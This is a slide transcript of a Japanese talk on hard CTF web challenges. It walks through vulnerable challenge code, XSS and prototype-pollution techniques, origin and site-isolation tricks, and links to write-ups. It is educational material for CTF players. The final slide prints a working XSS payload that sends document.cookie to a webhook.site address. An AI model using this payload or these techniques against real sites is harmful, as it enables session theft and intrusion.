Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTFのWebにおける⾼難易度問題について

 CTFのWebにおける⾼難易度問題について

CTFのWebにおける⾼難易度問題について
at 魔⼥のお茶会 #7 おふらいん!(2025 冬)

問題集 https://docs.google.com/spreadsheets/d/12nRbFdmwNPBOcD2eitybnVixar-LVFmm_WudrOObVf4/edit?usp=sharing

以下、参照リンクです。
AlpacaHack Round 7 (Web) - disconnection-revenge
https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-disconnection-revenge-Writeup-AlpacaHack-R-14e48583e65d80e6b8d5c53f07905d97
Nowruz 1404 CTF - 🌱
FMCTFの公式Discordより
TSG CTF 2024 - I Have Been Pwned
https://blog.hamayanhamayan.com/entry/2024/12/15/201408#web-I-Have-Been-Pwned
KalmarCTF 2025 - spukhafte Fernwirkung
https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025/web/spukhafte/solution
SEKAI CTF 2024 - Chunky
https://fireshellsecurity.team/sekaictf-frog-waf-and-chunky/#challenge-chunky-16-solves
SECCON CTF 13 Qual - JavaScrypto
https://zenn.dev/ponyopoppo/articles/894c3c2e5a06b6#javascrypto
corCTF 2022 friends
https://x.com/hamayanhamayan/status/1557584112004648961
[1] セキュリティにおける"gadget"とは何なのか?
https://blog.hamayanhamayan.com/entry/2022/09/14/212004
ImaginaryCTF 2023 - Sanitized Revenge
https://github.com/maple3142/My-CTF-Challenges/blob/master/ImaginaryCTF%202023/Sanitized%20Revenge/README.md
SECCON CTF 13 Qual - Double-Parser
https://zenn.dev/tchen/articles/0efc8f9679a818#%E2%9C%85-double-parser-(221pts-17solves)
Flatt Security XSS Challenge - hamayanhamayan問
https://speakerdeck.com/flatt_security/jie-da-jie-shuo-flatt-security-xss-challenge
防衛省サイバーコンテスト2023 - Bypass
https://blog.hamayanhamayan.com/entry/2023/08/06/220606#web-Bypass

hamayanhamayan

March 20, 2025
Tweet

Other Decks in Programming

Transcript

  1. 難易度ピラミッド かじってる⼈ほぼ全員(80-100%) CTFに初めて出る場合でもギリギリ解けそうな問題、フラグを得る楽しさを気軽に実感 baby ※ 個⼈の⾒解で、後付けです easy webは頑張るぞという⼈が結構解ける(40-80%) 1つの脆弱性を⽐較的単純な⽅法で使⽤する、⽐較的解法がはっきり⾒えるもの medium

    webに⾃信がある⼈は解ける場合がある(2-40%) いくつかの脆弱性を組み合わせて攻撃を成功させる、広い調査が必要なもの hard トップランカーのみ解ける(0.1-2%) ミドルウェアや攻撃⼿法に対する深い理解を要求、実際の実装を確認して攻撃を組み⽴て る、思考の⾶躍が必要、仕様/ドキュメントの通読が必要 insane web神しか解けない(0-0.1%) インターネットでは簡単に⾒つからない新しいアプローチ。解ける⼈がいるかどうか #   最近の趣味、問題集め ##   難易度ピラミッド
  2. 難易度ピラミッド かじってる⼈ほぼ全員(80-100%) CTFに初めて出る場合でもギリギリ解けそうな問題、フラグを得る楽しさを気軽に実感 baby ※ 個⼈の⾒解で、後付けです easy webは頑張るぞという⼈が結構解ける(40-80%) 1つの脆弱性を⽐較的単純な⽅法で使⽤する、⽐較的解法がはっきり⾒えるもの medium

    webに⾃信がある⼈は解ける場合がある(2-40%) いくつかの脆弱性を組み合わせて攻撃を成功させる、広い調査が必要なもの hard トップランカーのみ解ける(0.1-2%) ミドルウェアや攻撃⼿法に対する深い理解を要求、実際の実装を確認して攻撃を組み⽴て る、思考の⾶躍が必要、仕様/ドキュメントの通読が必要 insane web神しか解けない(0-0.1%) インターネットでは簡単に⾒つからない新しいアプローチ。解ける⼈がいるかどうか #   最近の趣味、問題集め ##   難易度ピラミッド ボリュームゾーン (CTF難しいので…)
  3. medium TSG CTF 2024 - I Have Been Pwned https://blog.hamayanhamayan.com/entry/2024/12/15/201408#web-I-Have-Been-Pwned

    hard Nowruz 1404 CTF - 🌱 FMCTFの公式Discordより insane AlpacaHack Round 7 (Web) - disconnection-revenge https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-di sconnection-revenge-Writeup-AlpacaHack-R-14e48583e65d80e6b8d5c53f07905d97 #   仕様?悪⽤? 時間が無く、省略
  4. medium // index.php $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"]

    . $pepper2, PASSWORD_BCRYPT); この1⾏に脆弱点が隠されています… #   仕様?悪⽤? ##   TSG CTF 2024 - I Have Been Pwned
  5. medium // index.php $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"]

    . $pepper2, PASSWORD_BCRYPT); この1⾏に脆弱点が隠されています… ここ! 公式ドキュメントを⾒てみましょう。 https://www.php.net/manual/ja/function.password-hash.php #   仕様?悪⽤? ##   TSG CTF 2024 - I Have Been Pwned
  6. medium 全CTFプレイヤーが好きな⽂字 公式ドキュメントを読もう! (RFCやHTML仕様も) // index.php $hash = password_hash($pepper1 .

    $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT); この1⾏に脆弱点が隠されています… ここ! 公式ドキュメントを⾒てみましょう。 https://www.php.net/manual/ja/function.password-hash.php この「切り詰め」により$pepper2が特定できます #   仕様?悪⽤? ##   TSG CTF 2024 - I Have Been Pwned
  7. hard <script src="[最新のDOMPurify]"></script> <div id="xss"></div> <script> let p = ((new

    URLSearchParams(location.search)).get('p') ?? '')+`🌱` DOMPurify.sanitize(p) if(!DOMPurify.removed.length) xss.innerHTML = p </script> ※ コンパクトにするため改変済み 普通のDOMPurifyの使い⽅ではないですね。まずは、DOMPurifyの公式レポジトリ を⾒てみましょう! #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱
  8. hard let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` DOMPurify.sanitize(p) if(!DOMPurify.removed.length)

    xss.innerHTML = p (更にコンパクトにしました。)公式レポジトリにある使い⽅はこう。 const clean = DOMPurify.sanitize(dirty); sanitizeの戻り値を使うのが公式の使い⽅。README.mdを隅々まで⾒ると… #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱
  9. hard let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` DOMPurify.sanitize(p) if(!DOMPurify.removed.length)

    xss.innerHTML = p (更にコンパクトにしました。)公式レポジトリにある使い⽅はこう。 const clean = DOMPurify.sanitize(dirty); sanitizeの戻り値を使うのが公式の使い⽅。README.mdを隅々まで⾒ると… #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱 removedをチェックに「使ってはならない」とかいてある
  10. hard let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` DOMPurify.sanitize(p) if(!DOMPurify.removed.length)

    xss.innerHTML = p (更にコンパクトにしました。)公式レポジトリにある使い⽅はこう。 const clean = DOMPurify.sanitize(dirty); sanitizeの戻り値を使うのが公式の使い⽅。README.mdを隅々まで⾒ると… #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱 全CTFプレイヤーが好きな⽂字 ②
  11. hard 裏を返すと、 DOMPurify.removed.length を使った判定は脆弱らしい。 更にレポジトリのissueを辿っていくと、核⼼的な情報が⾒つかる。 DOMPurify.removed isn't reporting inline scripts

    with arbitrary text afterwards https://github.com/cure53/DOMPurify/issues/988 これは… 修正無しでclose! こんな素晴らしい⾮⾃明挙動が! #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱 scriptタグが消えているのに removedに出てこない!
  12. hard let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` DOMPurify.sanitize(p) if(!DOMPurify.removed.length)

    xss.innerHTML = p となると、以下のようなpayloadを試したくなります。 <script>alert(origin);</script> …が、これは動きません。何故かというと、「仕様」に書いてあるためです! HTML5 では innerHTML で挿入された <script> タグは実行するべきではないと定義 しているからです。 https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#%E3%82% BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81% AE%E8%80%83%E6%85%AE%E4%BA%8B%E9%A0%85 #   仕様?悪⽤? ##   Nowruz 1404 CTF - 🌱
  13. hard #   仕様?悪⽤? ##   Nowruz 1404 CTF -

    🌱 DOMPurifyでは処理前にこれが通される。 https://github.com/cure53/DOMPurify/blob/e9035b1ca597d02 97bd823db2a33886ad0d82e46/src/purify.ts#L915
  14. hard SEKAI CTF 2024 - Chunky https://fireshellsecurity.team/sekaictf-frog-waf-and-chunky/#challenge-chunky-16-solves insane KalmarCTF 2025

    - spukhafte Fernwirkung https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025/web/spukhafte/solution #   細かく、深く
  15. medium Browser GET/POST, cookie HTTP Request HTTP Response html, css,

    js + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium #   細かく、深く
  16. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Request Smuggling 複数ヵ所で「同じリクエスト」が「異なって解釈される」こと ↑ 多くの要素が存在するので不整合が起きたりする。また、json解釈違いなど、無限にinconsistent系はある hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  17. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Request Smuggling 複数ヵ所で「同じリクエスト」が「異なって解釈される」こと ↑ 多くの要素が存在するので不整合が起きたりする。また、json解釈違いなど、無限にinconsistent系はある hard VS #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  18. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Request Smuggling 複数ヵ所で「同じリクエスト」が「異なって解釈される」こと ↑ 多くの要素が存在するので不整合が起きたりする。また、json解釈違いなど、無限にinconsistent系はある hard VS #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  19. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Cache Poisoning 悪意ある(本来意図せぬ)キャッシュを⼊れ込むこと hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  20. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Cache Poisoning 悪意ある(本来意図せぬ)キャッシュを⼊れ込むこと hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  21. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Cache Poisoning 悪意ある(本来意図せぬ)キャッシュを⼊れ込むこと hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  22. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Cache Poisoning 悪意ある(本来意図せぬ)キャッシュを⼊れ込むこと hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  23. Browser GET/POST, cookie HTTP Request HTTP Response html, css, js

    + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium Cache Poisoning 悪意ある(本来意図せぬ)キャッシュを⼊れ込むこと hard #   細かく、深く ##   SEKAI CTF 2024 - Chunky
  24. KalmarCTF 2025 - spukhafte Fernwirkung ## #   細かく、深く insane

    ⾃分も解けておらず、当時も0 solvesで、また、作問者も分かっていない部分があるっぽく、 なんか間違っていたらすみません!(そんな状態で書いててすみません) あと、⼀部会場onlyです
  25. notes-spukhafte.kalmarctf.local function saveNote() { const note = document.getElementById('noteInput').value; const uuid

    = uuidv4(); fetch('/note', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ uuid, note }) }); } つまりは、UUIDが分かればフラグが得られる。 #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung insane UUIDを作って 投稿!
  26. notes-spukhafte.kalmarctf.local function uuidv4() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx' .replace(/[xy]/g, function (c) {

    const r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); } UUIDのジェネレータは⾃作で、MDNで Math.random を⾒てみると… https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung insane
  27. この問題は Crypto / Web 問で、Cryptoパートも難しいので割愛するのですが 乱数のサンプルを集めるとシードが復元できて、結果、UUIDが復元できる というのが⼤枠の問題です。 notes-spukhafte.kalmarctf.local → xss-spukhafte.kalmarctf.local

    の順でアクセスをするが、どちらも同じ環境で動いているならば、xss側で Math.random()を何回か呼んでサンプルを集めれば解けそう。 「どちらも同じ環境で動いているならば」本当に? #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung insane
  28. insane Browser GET/POST, cookie HTTP Request HTTP Response html, css,

    js + ライブラリ Web App Framework Template Engine Database … AdminBotは Headless Chromium notes-spukhafte.kalmarctf.local と xss-spukhafte.kalmarctf.local が同じ環境で動くかを理解するには… #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung
  29. insane Chromium GET/POST, cookie HTTP Request HTTP Response html, css,

    js + ライブラリ Web App Framework Template Engine Database … 図は https://developer.chrome.com/blog/inside-browser-part1 より #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung notes-spukhafte.kalmarctf.local と xss-spukhafte.kalmarctf.local が同じ環境で動くかを理解するには… Chromiumはマルチプロセスアーキテクチャで処理を⾏うプロセスがそれぞれ作られる。 → ということは無理…?
  30. insane Chromium GET/POST, cookie HTTP Request HTTP Response html, css,

    js + ライブラリ Web App Framework Template Engine Database … 図は https://developer.chrome.com/blog/inside-browser-part1 より #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung Privacy Sandbox / 3rd Party Cookie / Fenced Frame / Cache Partitioning / Fetch Metadata / Site Isolation / Trusted Types / SOP / bfcache / WebAssembly / Sanitizer API / V8 / Blink
  31. insane Chromium GET/POST, cookie HTTP Request HTTP Response html, css,

    js + ライブラリ Web App Framework Template Engine Database … 図は https://developer.chrome.com/blog/inside-browser-part1 より #   細かく、深く ##   KalmarCTF 2025 - spukhafte Fernwirkung Privacy Sandbox / 3rd Party Cookie / Fenced Frame / Cache Partitioning / Fetch Metadata / Site Isolation / Trusted Types / SOP / bfcache / WebAssembly / Sanitizer API / V8 / Blink notes-spukhafte.kalmarctf.local と xss-spukhafte.kalmarctf.local は同じ環境(プロセス)で動く!
  32. Site Isolation 異なるサイトは別のプロセスで動かす。 #   細かく、深く ##   KalmarCTF 2025

    - spukhafte Fernwirkung insane //attacker.example/poc.html //note.a.example/ iframe[0] iframe[1] //xss.a.example/
  33. Site Isolation 異なるサイトは別のプロセスで動かす。 #   細かく、深く ##   KalmarCTF 2025

    - spukhafte Fernwirkung insane //attacker.example/poc.html iframe[0] iframe[1] 同じPID:1234 違うPID:5678 //note.a.example/ //xss.a.example/
  34. 判定無し corCTF 2022 friends https://x.com/hamayanhamayan/status/1557584112004648961 insane SECCON CTF 13 Qual

    - JavaScrypto https://zenn.dev/ponyopoppo/articles/894c3c2e5a06b6#javascrypto 天才発想 # 時間が無く、省略
  35. import express from "express"; const html = ` <script>eval(new URLSearchParams(location.search).get("xss"));</script>

    `.trim(); express() .get("/", (req, res) => res.type("html").send(html)) .all("/*", (req, res) => res.socket.destroy()) // disconnected .use((err, req, res, next) => { // revenge! res.socket.destroy(); // disconnected }) 以上がサーバ側の抜粋。AdminBotは以下。 await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/cookie", // 🍪 }); // 与えられた任意の URLを開く #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web) - disconnection-revenge insane
  36. import express from "express"; const html = ` <script>eval(new URLSearchParams(location.search).get("xss"));</script>

    `.trim(); express() .get("/", (req, res) => res.type("html").send(html)) .all("/*", (req, res) => res.socket.destroy()) // disconnected .use((err, req, res, next) => { // revenge! res.socket.destroy(); // disconnected }) 以上がサーバ側の抜粋。AdminBotは以下。 await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/cookie", // 🍪 }); // 与えられた任意の URLを開く #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web) - disconnection-revenge insane `GET /`は ⾃由にXSS可 それ以外の エンドポイントは全部拒否 /cookieでCookieを 盗む必要がある
  37. ⼀旦、「拒否」を無視して考えてみると、SOPをうまく使うと解ける。 #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web)

    - disconnection-revenge insane SOP: Same Origin Policy JavaScriptでアクセスできるのは同じサイトだけ
  38. ⼀旦、「拒否」を無視して考えてみると、SOPをうまく使うと解ける。 #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web)

    - disconnection-revenge insane SOP: Same Origin Policy JavaScriptでアクセスできるのは同じサイトだけ //attacker.example/poc.html //chall.example/ //chall.example/cookie iframe[0] iframe[1]
  39. ⼀旦、「拒否」を無視して考えてみると、SOPをうまく使うと解ける。 #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web)

    - disconnection-revenge insane SOP: Same Origin Policy JavaScriptでアクセスできるのは同じサイトだけ //attacker.example/poc.html //chall.example/ //chall.example/cookie iframe[0] iframe[1] 󰢃
  40. ⼀旦、「拒否」を無視して考えてみると、SOPをうまく使うと解ける。 #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web)

    - disconnection-revenge insane SOP: Same Origin Policy JavaScriptでアクセスできるのは同じサイトだけ //attacker.example/poc.html //chall.example/ //chall.example/cookie iframe[0] iframe[1] 󰢏 window.top.frames[1]. document.cookie window=iframe[0]
  41. #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web) -

    disconnection-revenge insane 図は https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-disconnection-revenge-Writeup-AlpacaHack- R-14e48583e65d80e6b8d5c53f07905d97 より 拒否されると originがnullになる
  42. 「拒否」を含めてみよう。 #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web)

    - disconnection-revenge insane //attacker.example/poc.html //chall.example/ //chall.example/cookie iframe[0] iframe[1] 󰢃 nullなので SOP違反 図は https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-disconnection-revenge-Writeup-AlpacaHack- R-14e48583e65d80e6b8d5c53f07905d97 より
  43. 431 (Request Header Fields Too Large)テクを使う。 #   仕様?悪⽤? ##

      AlpacaHack Round 7 (Web) - disconnection-revenge insane //chall.example/cookie iframe origin = null 図は https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-disconnection-revenge-Writeup-AlpacaHack- R-14e48583e65d80e6b8d5c53f07905d97 より //chall.example/cookie?AA...[10^5 times]...AA ↓ 431 Request Header Fields Too Large エラー ↓ これをiframeに埋め込むとなぜか、 originが保存される! これは…仕様? iframe origin = http://chall.example ※ ちなみにFirefoxだと431エラー時はiframeに⼊れなくてもoriginは保存されるみたいです 󰤇
  44. #   仕様?悪⽤? ##   AlpacaHack Round 7 (Web) -

    disconnection-revenge insane //attacker.example/poc.html //chall.example/ //chall.example/cookie ?AA...[10^5 times]...AA iframe[0] iframe[1] 󰢏 図は https://dimas0305.notion.site/Bypassing-null-Origin-in-4xx-Status-Code-Using-Iframe-disconnection-revenge-Writeup-AlpacaHack- R-14e48583e65d80e6b8d5c53f07905d97 より ※ 実際にはもう1ステップ、open("") という超⾮⾃明テクを⾒つける必要があります 解けた!
  45. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する
  46. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする
  47. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする noteIdもadmin botに渡せる かつ、noteは攻撃者が⽤意可能 → 好きな encrypted を渡せる
  48. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする noteIdもadmin botに渡せる かつ、noteは攻撃者が⽤意可能 → 好きな encrypted を渡せる 「ユーザー固有の」=「 adminbotの」 adminbotの鍵が分からない!!
  49. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane この問題には、 Prototype Pollution 脆弱性(以下、PP)があります。PPをざっく りと説明すると「存在しない」任意のプロパティを追加できるという脆弱性です。 if (this.isAdmin) { // you got a flag! } 上のような状況で⾃由に isAdmin を設定できてフラグが得られたりします。 PPはプロパティを増やせるだけなので、それが悪⽤できるような上記のような箇所 (Gadget [1] )を⾒つけてくる必要があります。 [1] セキュリティにおける"gadget"とは何なのか? https://blog.hamayanhamayan.com/entry/2022/09/14/212004
  50. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する Gadgetどこかな…
  51. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する Gadgetどこかな… base64デコード!!
  52. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane ユーザー固有の鍵 key は CryptoJS というライブラリを使ってBase64デコード されます。 const rawKey = CryptoJS.enc.Base64.parse(key); そして、このライブラリには _reverseMapというPPと⼀緒に悪⽤可能な箇所が! var reverseMap = this._reverseMap; if (!reverseMap) { reverseMap = this._reverseMap = []; for (var j = 0; j < map.length; j++) { reverseMap[map.charCodeAt(j)] = j; } } // map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
  53. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane ユーザー固有の鍵 key は CryptoJS というライブラリを使ってBase64デコード されます。 const rawKey = CryptoJS.enc.Base64.parse(key); そして、このライブラリには _reverseMapというPPと⼀緒に悪⽤可能な箇所が! var reverseMap = this._reverseMap; if (!reverseMap) { reverseMap = this._reverseMap = []; for (var j = 0; j < map.length; j++) { reverseMap[map.charCodeAt(j)] = j; } } // map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' nullだと⼊る、デフォルトの対応テーブル reverseMap = { ʻA’ -> 0, ʻB’ -> 1, ʻC’ -> 2, … } PPで上書き可能! 表は https://ja.wikipedia.org/wiki/Base64 より
  54. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane という訳で、_reverseMapを使ってやれば、base64のデコードを⾃由に操作できる! laTrJHY/GOEk1QWdBtuzNg== ↓ 95 a4 eb 24 76 3f 18 e1 24 d5 05 9d 06 db b3 36 表は https://ja.wikipedia.org/wiki/Base64 より
  55. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane という訳で、_reverseMapを使ってやれば、base64のデコードを⾃由に操作できる! laTrJHY/GOEk1QWdBtuzNg== ↓ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 どんな⼊⼒もゼロにできる! 表は https://ja.wikipedia.org/wiki/Base64 より 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000
  56. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする noteIdもadmin botに渡せる かつ、noteは攻撃者が⽤意可能 → 好きな encrypted を渡せる
  57. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする noteIdもadmin botに渡せる かつ、noteは攻撃者が⽤意可能 → 好きな encrypted を渡せる ʻ0x00’*16固定! admin鍵不要!
  58. #   天才発想 ##   SECCON CTF 13 Qual -

    JavaScrypto insane http://victim.example/?id=<noteId> にアクセスすると、ブラウザ側で… 1. fetch(`/note/${id}`) でnoteIdに対応した encrypted を得る 2. Local Storageから、ユーザー固有の鍵 key を取得する 3. encrypted, key をbase64デコードする 4. key を使って encrypted を復号化し、plaintextを得る 5. plaintextを「そのまま」HTMLファイルに埋め込んで表⽰する plaintextに任意の値を⼊れてXSSする noteIdもadmin botに渡せる かつ、noteは攻撃者が⽤意可能 → 好きな encrypted を渡せる ʻ0x00’*16固定! admin鍵不要! こっちも全部 ʻ0x00’に なるのでは…?
  59. medium 防衛省サイバーコンテスト2023 - Bypass https://blog.hamayanhamayan.com/entry/2023/08/06/220606#web-Bypass hard SECCON CTF 13 Qual

    - Double-Parser https://zenn.dev/tchen/articles/0efc8f9679a818#%E2%9C%85-double-parser-(221pts-17solves) insane ImaginaryCTF 2023 - Sanitized Revenge https://github.com/maple3142/My-CTF-Challenges/blob/master/ImaginaryCTF%202023/San itized%20Revenge/README.md ⾼度パズル # easy Flatt Security XSS Challenge - hamayanhamayan問 https://speakerdeck.com/flatt_security/jie-da-jie-shuo-flatt-security-xss-challenge
  60. ⾼度パズル      ImaginaryCTF 2023 - Sanitized Revenge # ## <div><div id="url">https://webhook.site/[yours]?</div><style><![CDATA[</style><di v

    data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie )//' /><style><!--"></div><style>--></style></div> insane